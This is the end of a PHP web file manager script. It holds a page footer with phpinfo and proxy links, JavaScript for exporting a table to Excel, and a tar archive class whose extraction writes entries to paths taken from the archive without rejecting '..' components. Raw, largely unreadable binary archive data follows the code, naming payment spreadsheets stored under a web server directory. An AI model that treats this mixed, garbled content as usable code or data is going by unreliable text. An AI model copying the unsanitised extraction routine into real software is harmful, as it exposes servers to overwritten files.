    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK!��L��45dkj3p/payments 2025-05-29 03-55-40.xlsx.xlsx.tar.gznu�[�����YgPTٶn�9�$�9�F@$JlB��$�ݒir�9H�%g�$�� 4Q� H�Bsg�^�ν�^�z?fu�9�v�Ω�������p����vs�����	���],�`NNN�6'o���+���0�O�',�((��
�{ٻz��	^� �/���"@�?��aW�‚BbŒ�����]�,\�^���cP88���mFʈ��F7�]��0V�;�]1�H��	�j���`�kT&��D
�(����Բjeq�[�]d����/9����Q�(uDjڸl����^��˽�=7�
h�4���[��<R�W�S3�\m�HsVk�����M4GD
��x=k��]4�oӜ�=R(2�X&��K��Hŷc~�����+ЍR��f��g'��� lY�d�I�r�
7t�乑��J��D[�8U-���4��Ρ��Vբ�*o����kd���(�$��dO��#�z��nUH�暹��S�0r�P�$�4`�T9N~:q���u9�o��!���%�V�����$N]�Ե�S�#�����#2�/��TZ��w=���@.�_ڍs�r>*,]i<�GIOt����߸Nǭ�;��W$���+:���]����Đ-R� p��з�.LH)��m^�p-�����Ԛ6>�3���1d|j�Vn�Ǚ7�ǻS1^�7c��^Ә}+���<��!MOM���g�=��gS��/���O�ǖ,EY2�^ذ�'�ԭ
�;�ݧG±��K$��X7�}{�j<5&�%$�!ʴy�[s�w&��I�H�������`�+��RTB7�4�U'���QYؐ~D=:q�T�M�Z���=���!�˽�P��ߢ�t���x��O���%n�[���Ϋ ���9ǫAy�q%�r���C����U��8���iU�p�s�+�2�T6�P�Z����y�j$k/�v(�DgάH�?��H�cg��ܸC'�z�ş5QC��ipOQM�HYC1r�@�v�Ļ��Cf���������j^�
0>�Z|Ҫ0s��(D"v�D-�5'|P�&[��l
ex:�d�u��q=͕"*7& �1Xp�?��m�:9�9��|Ĵ5��O�,z�8�WF���z�,��u�W3Y �
���\+�N�l]9�A�V%ڎ��/�rD�����1v�j��>'b���Z�
=�����
����7Ly����в�S1h.�ө=j.L�G��Uэ�:���6S���fY?Q��p��d��f�ͦ-�R�2�a�d���Ă���m�����{�kv�E(�p�F��d��~e�3�#��ч�Y�e�A�Ȟ�B���ֲ�Q�!P��X1�@g�@|
�Ȣ��F� ���m>4+#�(���e���hq"�S֘��׺
YފJ��y�������I���Ѕ�ė��4��e��nQ��M��$/	-��$;0?��i����]�py�/�!�2OJ��=�xQ��<�X+���I�I�j�ot��!��7ʊ4�/{ ^BZ�����3&���Y�j�K���y7E�\�Fz��ϼA�.�?�+Fhku	R�͟S�
Y�j�M��S%#:5��׫����?�m!
��K�Y�~�h��jy����=�;�5/,Q��tv�t�i7�$"M	�,�0P��6꼻���G&�ɪKsk�q�OMP�ʚyUl�8�ĸK�W�<��*�~6eMcs[_�i��ģ)���ad�#k�N�E}���?r�Xr����ﳪ�P��N����c�Vm_��t�u�]7���o�},�h� q����%f�vƝg�ެ�������+��w�:�SֈZU�f�Zg���&�&��#��?�h~�p$e��E�e�ǓdE���X?�B�����+^�N3cKf^F���٭.�DL�Y�CoDxVg'��&���s�:I���[0��ߗɫ
�f
s��~�����Z�1��]��Z{.�`I�ͩ��B������
.m��v�-�7��_���AUOidڬ�T���q��{
Ɍ.��W��Ct�rw���}��G�H�E�4ڛ�Q�џ���vr*s`*s"3�%�y|�hRL�1���}��@�D�F��Z1m=�zᄚ�*��߲œS�.�1�T��G��e>Fߛ�#/u��pj���p�m����]�(I�xBv�#��>��
HPV �:�)�88,�c�Lj��G3!}��Q�}-UC2��ǚ]��#ԍ���~db^�t��fcv��3�����r[���߶L��8RV�+&[>W5�u6�zyb�;V4�͙.�韷��a�����w���ˑ@1�{\I30��ӄ,���G~���-x��?n���_�J5>�({��;�mB��"����TTR趛d��2��?{��Ē�����\>�?��V}�O�������u�J�������'�p�����u|��x��������b9G������㋚�l�*�6�͊�#�	�b!a��B*�tN'��x�"�U��-<y���RO3�}��o4��P.�V���VOu�����ۂ�Y#>�%�t!�����KZ�����8+�6���<�Yy�v�6X�W4U��K&��'�
{�C"o�7�m:�u�; �� �)Iz�2�%w)}q1�XH	ܒ2#Y*�cѩ�q�ɂ���8j�>]�s'8*�b��1�"ZS�?3�v�GN_��ճ��G
A|ѣ�Jl^@�Z�������$��[@�������JOQ%U줨��\W;�9�����+&Kqĸ��~�aOt��)��3�s~��f����Vޞ�9�U��O����w�"J�o[#A�To��Q7�h:!\U���ù�� /
BpJ{�Bk��Ւ]p��S=��]�W�vR{mӰ{�@p���B�`#�Wxv��w-4oH����4S�ͅ�ʉ�f,T�G_j�ȭ��;�xo�3S	Lr�
�i�<����0�sl�ʍ�4[�#u ljG���E���y)��y��� q���}��<��a�}��6o�N�:W�Em	�"U��f(a귋>���{�q\��z�.Q,�c4š�,�?���dIW�[��.�43ڟ���g�yha�N?�a�����e�\Ể �����gh92n���|<���jh{s������<��f#X8���>�4�I#����p��\��
��ד��^W#Js/_Цh�9�,_����J�h�0�~R��v�w<�f�.sD(�M�w�
`�j�b�ف��M���K�ե	7��l�ܶ��!��'��Y���9�XI��6��m��ݡ�6>jPh'U��'�Tj��@˞y�L]��>�(<ϔ|'�^h�`����xdz�j��gs��G�ׯcԥ�NDb�C642=���N\[C���#���z���]�=�Z�î:N��뽫�����b�h�g������Q��x›6�C7�"���d�GUo�N;X%7gܖbš�О�!N������f���H�0x�'��|�"ҡ�I
a�h��W�K�ܻ���RaH?�NS��z���0[�8mjrt��J�X2޻�ې�*^,�[�Y�;ܭJ������ɉF�>���!ߗ�c�2��n"…m�9Dϓ��.�+��*�!��ڌ��'[�&9{��O���?tE��#����j
�i�\
�'�(�BǍM1EF��-	!��_H���v�v+��+��=�2��n��ù�������*�scS%�pe/&'t����~Z�ά �t��%�CA��~�d��~�e��/ۢϔrD�WT������m�'C�,A�6��;�c�̌�,L�#�u�u���&^�<u0=�w �/��p����~/�0/�.��4��G�+ܳ�Jگ��.�uQ?0_%$��6څ����_n�j얄��
^ϒ��L ���7���=�v3w�՛0�Rl�3�l�*]�b�x�208�9}�0`dVQ���+䊿i8�����
��dS)��O��n��<;��4nn#8�	a��4�Y/Qq�QF~�P�Qٓ��=`č��9=�Ը�Cm��['\� ������=x، #[>댻�qG%p����q%��WyE���nvI���a�p#>5c>�}$���$~N�\4��ɣ�M}s�$P�sH�jW�g�6�b�8pV��;�FC)�}�|ϕ����\��[���ݼC��ۏt	��·7BgvE�
)��\��j�����]l��AE��f�0���4���-2jZd��az����^�޽քȬ�w�����#��ԛ�;Lв���
��ɋ�h��|9�ٵ�q�H.��K���y3�ߊZ���W�5��y����A���g�EiS�C>����dݛp��T;
�U��؅O݆8k֮b��"�ã^[�a�;ԍ?�7C�V�|�4�Q�I&�ٙ�
s�z��\�٠5�2�߄� ��|�5إ��H�ԣɺ^j��-ec���k��A��5�N܄5ʓ�>T��wc�9~AQfǽו�-��KC&U�Lc���ںѠ�����}G��,��$���V�
1]���;+z:�<�f�Г�P���ѧgm��E�;8���@����@���֌���o������z�]��<��e-�Ft��҇[%�!�;�j�~�&.Y�9��h��QvEp��\��&Y�Y;�T���� �b_��LB�Q�<��|�L���H`��T�7qA
�DQ
}�̹�-�}�c"/aX�
��\���0�n�@�"�s���Y4#�=���[5�9����=����8*~<҄��m�I���X�+�9i?�m��uP, �m��b7�X ��zfd=nu�����e��5��*��?��J���q���GLkm�;�[C_�g(p�g� ��HV[��o��_��\L��zV�~�d~#�W�}��k]V��Py���}�\u߳Y��G�I�X�0��>���~'1g�F��,2�;
���x����@�6<82P\�ie$Sl���f*S��9�N�<2Ƭ~,A����4X
����̕��(��!7',ͥ��N���b�[p�n&G>����e��Y�Wq����[�7:���a��}n�'3z�$U]�xm4��AN�շ
ٖ�K�f��V�/��Wt+}͔\q�	����'J����e�@R.ۗڿ^̨����:�<�Q�{��އ�6�����nH�����+��S`����+��ާ�qKuV	q?��>!�W��W?��@�*�E�K������b�Gt�>;���+��K��WP�Zy�"�������@�!p��
<T���KU��c�A>-���#%����4�t��~�k�U܈�K����;�9��+�zM�0]I��&k����-��.�G��H_�dž�?��WwEP2疉K�G�
�g��y3��K����F�����޳�A��U�'��Ig��2�N���S�U�l�s���Gh.�R�W����R�*!"MA	�=�K�~M��H�%XE8ץ��i�m�x���Q��p]%�H��0g�qU[����y�*�}��?S�!�R�wQ�I̵z�	mZ����K�M���I��N��~_i��[Mf�"���t	3K��Y�ܬ����wwp��X����)���g9��̝I����D����lw��ܚ����
>����bօ�A�	�k�wB�9��̱��BO*6�D�m]+"IE�>8ܸ3�����L<+0揰�1�9H�b��L��l�P\�4�o���`C&5�m����UK%���U�~ݨ�6Ǽ����� �Jַn�-!���kzg�{���f>�0�]�4E͊zx���{����y�Qt4��li������8�m��&z<um�T��\NZh�$������_*�H���c���?˿U���Օ���BDhL$�Gr�(Y|Ƞ��	��xʉ�Ă�W�ԗ��#)�|�hn��f�S:��a}�\�R��\9U�9AJv�Gd�>�����YR�yo���n���q�x�[�P��YqWD�k�Z�6\b�}��n��c����?��_�
p]�� �
�'!�W����ώ�W#�Y���3�۫�_��_���p?{c�]����@�;6��_��8~�E��ǯכ�J��[�_]��I?�Α~�~u�����|L���(ק��(j�~E���ab����
����o�����o����I@�"PK!�#�L"",5dkj3p/payments 2025-05-28 15-23-40.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-28 15-23-40.xlsx000075500000015356000000000000020157 0ustar00PK�z�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK�z�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK�z�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK�z�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK�z�Z���DrdocProps/core.xmlSV���N�0D�|E�+J��(M%�8��D\�����m�!��i�8E�?�\.��:���s�MI@#�^����6�"�G�%���9�EuV
[���$��/���
�-(�b
����|3���[S�Ŗ���]��K����ԎD�CJ1"퇫#@

54���l��C�5���9J6
;F���j�m;i�1�����c\5U��J�J)
ဣqՓ�j��d9�y}�5�xS ����ߑr�����a���<]ެnI��|��Y�_��Y�O�v�X�X?�	�@mv7����.Pa
a���ɣ
wJ��X�`�A	^8e1<�*Z'?���� p0G:�B�'};�������u��C����PK�z�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
